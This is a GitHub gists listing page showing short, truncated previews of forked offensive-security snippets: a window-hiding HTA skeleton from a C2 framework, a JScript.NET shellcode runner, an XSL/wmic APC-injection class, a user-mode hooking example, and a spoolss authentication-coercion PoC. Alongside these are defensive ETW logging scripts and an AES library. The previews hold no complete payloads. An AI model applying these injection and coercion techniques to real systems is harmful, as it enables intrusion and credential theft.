ohio813’s gists

ohio813 / example.hta

Created August 23, 2018 23:28 — forked from leoloobeek/example.hta

HTA example for

	<html>
	<head>
	<script language="JScript">
	// HTA skeleton taken from https://github.com/zerosum0x0/koadic
	window.resizeTo(1, 1);
	window.moveTo(-2000, -2000);
	window.blur();

	try
	{

ohio813 / Injectable.cpp

Created August 23, 2018 23:29 — forked from leoloobeek/Injectable.cpp

Simple UserMode Hook Example

	#include <windows.h>
	#include <stdio.h>


	FARPROC fpCreateProcessW;
	BYTE bSavedByte;

	// Blog Post Here:
	// https://0x00sec.org/t/user-mode-rootkits-iat-and-inline-hooking/1108
	// tasklist \| findstr explore.exe

ohio813 / jscriptsc.js

Last active August 30, 2018 15:04

Janky Old JScript.NET Shellcode Runner

	import System;
	import System.Runtime.InteropServices;
	import System.Reflection;
	import System.Reflection.Emit;
	import System.Runtime;
	import System.Text;

	//C:\Windows\Microsoft.NET\Framework\v2.0.50727\jsc.exe Shellcode.js
	//C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Shellcode.js

ohio813 / scx64.cs

Created August 30, 2018 15:08

wmic Shellcode via XSL


	using System;
	using System.Reflection;
	using System.Diagnostics;
	using System.Runtime.InteropServices;


	public class ApcInjectionNewProcess
	{
	public ApcInjectionNewProcess()

ohio813 / safari-ripper.html

Last active September 15, 2018 18:56

	<!DOCTYPE html>
	<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
	<style>
	body {
	background: repeat url('data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEASABIAAD/7QCIUGhvdG9zaG9wIDMuMAA4QklNBAQAAAAAAGscAVoAAxslRxwCAAACAAAcAnQAV8KpIENoYWV5b3VuZ1dpbGxOZXZlckNoYWVvbGQgLSBodHRwOi8vd3d3LnJlZGJ1YmJsZS5jb20vcGVvcGxlL0NoYWV5b3VuZ1dpbGxOZXZlckNoYWVvbAD/4gxYSUNDX1BST0ZJTEUAAQEAAAxITGlubwIQAABtbnRyUkdCIFhZWiAHzgACAAkABgAxAABhY3NwTVNGVAAAAABJRUMgc1JHQgAAAAAAAAAAAAAAAAAA9tYAAQAAAADTLUhQICAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABFjcHJ0AAABUAAAADNkZXNjAAABhAAAAGx3dHB0AAAB8AAAABRia3B0AAACBAAAABRyWFlaAAACGAAAABRnWFlaAAACLAAAABRiWFlaAAACQAAAABRkbW5kAAACVAAAAHBkbWRkAAACxAAAAIh2dWVkAAADTAAAAIZ2aWV3AAAD1AAAACRsdW1pAAAD+AAAABRtZWFzAAAEDAAAACR0ZWNoAAAEMAAAAAxyVFJDAAAEPAAACAxnVFJDAAAEPAAACAxiVFJDAAAEPAAACAx0ZXh0AAAAAENvcHlyaWdodCAoYykgMTk5OCBIZXdsZXR0LVBhY2thcmQgQ29tcGFueQAAZGVzYwAAAAAAAAASc1JHQiBJRUM2MTk2Ni0yLjEAAAAAAAAAAAAAABJzUkdCIElFQzYxOTY2LTIuMQAAAAAAAA

ohio813 / peb.c

Created September 20, 2018 17:58 — forked from Wack0/peb.c

Getting a pointer to the PEB in C, for every architecture that NT was ported to (where at least one build of the port was leaked/released)

	// Gets a pointer to the PEB for x86, x64, ARM, ARM64, IA64, Alpha AXP, MIPS, and PowerPC.

	// This relies on MS-compiler intrinsics.
	// It has only been tested on x86/x64/ARMv7.

	inline PEB* NtCurrentPeb() {
	#ifdef _M_X64
	return (PEB*)(__readgsqword(0x60));
	#elif _M_IX86
	return (PEB*)(__readfsdword(0x30));

ohio813 / dementor.py

Created October 12, 2018 13:13 — forked from 3xocyte/dementor.py

rough PoC to connect to spoolss to elicit machine account authentication

	#!/usr/bin/env python

	# abuse cases and better implementation from the original discoverer: https://github.com/leechristensen/SpoolSample
	# some code from https://www.exploit-db.com/exploits/2879/

	import os
	import sys
	import argparse
	import binascii
	import ConfigParser

ohio813 / PSProcmon.psm1

Created February 24, 2019 19:02 — forked from mattifestation/PSProcmon.psm1

	# These keyword values can be obtained with: logman query providers Microsoft-Windows-Kernel-Registry
	[Flags()]
	enum RegistryOptions {
	CloseKey = 0x00000001
	QuerySecurityKey = 0x00000002
	SetSecurityKey = 0x00000004
	EnumerateValueKey = 0x00000010
	QueryMultipleValueKey = 0x00000020
	SetInformationKey = 0x00000040
	FlushKey = 0x00000080

ohio813 / process_image_logging.ps1

Created February 24, 2019 19:07 — forked from mattifestation/process_image_logging.ps1

	# These values were obtained from: logman query providers Microsoft-Windows-Kernel-Process
	$WINEVENT_KEYWORD_PROCESS = 0x10
	$WINEVENT_KEYWORD_IMAGE = 0x40

	# Normally when you enable an analytic log, all keywords are logged which can be veeeeerrrrryy noisy.
	# I'm going to limit collection to only image and process event
	$KernelProcessLog = New-Object -TypeName System.Diagnostics.Eventing.Reader.EventLogConfiguration -ArgumentList 'Microsoft-Windows-Kernel-Process/Analytic'
	$KernelProcessLog.ProviderKeywords = ($WINEVENT_KEYWORD_PROCESS -bor $WINEVENT_KEYWORD_IMAGE)
	$KernelProcessLog.ProviderLevel = 0xFF
	$KernelProcessLog.IsEnabled = $true

ohio813 / AES.js

Created October 14, 2019 20:34 — forked from victornpb/AES.js

	/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
	/* AES implementation in JavaScript (c) Chris Veness 2005-2014 / MIT Licence */
	/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */

	/* jshint node:true // global define */
	'use strict';


	/**
	* AES (Rijndael cipher) encryption routines,